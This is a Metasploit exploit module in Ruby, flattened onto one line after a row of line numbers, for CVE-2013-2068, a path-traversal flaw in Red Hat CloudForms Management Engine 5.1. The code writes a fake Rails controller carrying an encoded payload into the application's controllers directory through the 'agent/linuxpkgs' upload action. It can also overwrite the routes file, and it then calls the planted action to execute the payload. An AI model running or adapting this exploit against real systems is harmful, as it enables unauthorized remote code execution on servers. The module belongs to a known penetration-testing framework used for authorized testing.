1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize super( 'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal', 'Description'=> %q{ This module exploits a path traversal vulnerability in the "linuxpkgs" action of "agent" controller of the Red Hat CloudForms Management Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier). It uploads a fake controller to the controllers directory of the Rails application with the encoded payload as an action and sends a request to this action to execute the payload. Optionally, it can also upload a routing file containing a route to the action. (Which is not necessary, since the application already contains a general default route.) }, 'Author' => 'Ramon de C Valle', 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2013-2068'], ['CWE', '22'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422'] ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => true, 'Targets'=> [ ['Automatic', {}] ], 'DisclosureDate' => 'Sep 4 2013', 'DefaultOptions' => { 'PrependFork' => true, 'SSL' => true }, 'DefaultTarget' => 0 ) register_options( [ Opt::RPORT(443), OptString.new('CONTROLLER', [false, 'The name of the controller']), OptString.new('ACTION', [false, 'The name of the action']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']), OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ]) ], self.class ) register_advanced_options( [ OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]), ], self.class) end def check res = send_request_cgi( 'uri'=> normalize_uri(target_uri.path, "ping.html") ) if res and res.code == 200 and res.body.to_s =~ /EVM ping response/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def exploit controller = if datastore['CONTROLLER'].blank? Rex::Text.rand_text_alpha_lower(rand(9) + 3) else datastore['CONTROLLER'].downcase end action = if datastore['ACTION'].blank? Rex::Text.rand_text_alpha_lower(rand(9) + 3) else datastore['ACTION'].downcase end data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n" print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...") res = upload_file("../../app/controllers/#{controller}_controller.rb", data) fail_with(Failure::Unknown, 'No response from remote host') if res.nil? register_files_for_cleanup("app/controllers/#{controller}_controller.rb") # According to rcvalle, all the version have not been checked # so we're not sure if res.code will be always 500, in order # to not lose sessions, just print warning and proceeding unless res and res.code == 500 print_warning("Unexpected reply but proceeding anyway...") end if datastore['ROUTES'] data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n" print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...") res = upload_file("../../config/routes.rb", data) fail_with(Failure::Unknown, 'No response from remote host') if res.nil? # According to rcvalle, all the version have not been checked # so we're not sure if res.code will be always 500, in order # to not lose sessions, just print warning and proceeding unless res and res.code == 500 print_warning("Unexpected reply but proceeding anyway...") end end print_status("Sending execute request to #{target_url(controller, action)}...") send_request_cgi( 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, controller, action) ) end def upload_file(filename, data) res = send_request_cgi( 'method' => datastore['HTTP_METHOD'], 'uri'=> normalize_uri(target_uri.path, 'agent', 'linuxpkgs'), "vars_#{datastore['HTTP_METHOD'].downcase}" => { 'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)), 'filename' => filename, 'md5'=> Rex::Text.md5(data) } ) return res end def target_url(*args) (ssl ? 'https' : 'http') + if rport.to_i == 80 || rport.to_i == 443 "://#{vhost}" else "://#{vhost}:#{rport}" end + normalize_uri(target_uri.path, *args) end end |